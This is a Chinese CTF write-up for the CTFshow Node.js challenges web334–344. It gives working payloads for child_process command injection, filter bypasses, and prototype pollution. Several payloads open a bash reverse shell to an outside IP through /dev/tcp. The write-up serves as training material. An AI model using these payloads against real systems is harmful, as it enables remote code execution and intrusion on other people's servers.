](https://webstatic.mihoyo.com/upload/contentweb/2022/07/04/d35a0a1d13f821fd55a6951210c672ac_8868204139408761896.png)
主要是原型链污染的题目
web334
下载题目附件以zip的形式解压在login.js文件可以找到账号密码
web335
打开环境查看源代码

考察如何在nodejs执行命令
法一
| 1 | ?eval=require('child_process').execSync('ls') | 
| 1 | ?eval=require('child_process').execSync('cat f*') | 
法二
还有一个函数

| 1 | eval=require('child_process').spawnSync('ls',['.']).output | 
| 1 | eval=require('child_process').spawnSync('tac',['fl00g.txt']).output | 
web336
添加了一些过滤
本来的话是.execSync,我们这里可以修改为['exe'+'Sync'],小知识[xxx]=.xxx
payload
| 1 | ?eval=require('child_process')['exe'%2B'cSync']('ls') | 
上题的方法二仍然可以使用
web337
题目
| 1 | var express = require('express'); | 
题解
重点是这句
| 1 | if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){ | 
数组绕过
| 1 | a[]=1&b=1 | 

web338
url/login用application/json传参
| 1 | { | 
web339
题目把整个源码都给我们了,我看wp说有两种解法,我就做了预期解,非预期解好像是说这个模板有漏洞,这是可以利用的源码内容
| 1 | router.post('/', require('body-parser').json(),function(req, res, next) { | 
| 1 | router.post('/', require('body-parser').json(),function(req, res, next) { | 
Function可以执行命令,如果控制query的值就可以。通过修改__photo__的值来实现原型链污染。
构造payload反弹shell
访问url/login然后POST的enctype选择application/json
| 1 | {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/116.63.169.81/4000 0>&1\"')"}} | 
然后再POST访问url/api

在服务器监听开放的端口即可

web340
| 1 | /* GET home page. */ | 
与上题相比变化不大,只是多了一个user,再套一层就可以。
一关的payload基础上多加一个__proto__即可,具体payload如下
| 1 | {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/IP地址/监听端口 0>&1\"')"}}} | 
web341
| 1 | {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/116.63.169.81/4000 0>&1\"');var __tmp2"}}} | 
web344
题目
| 1 | router.get('/', function(req, res, next) { | 
题解
过滤了,尝试绕过
payload
| 1 | ?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true} |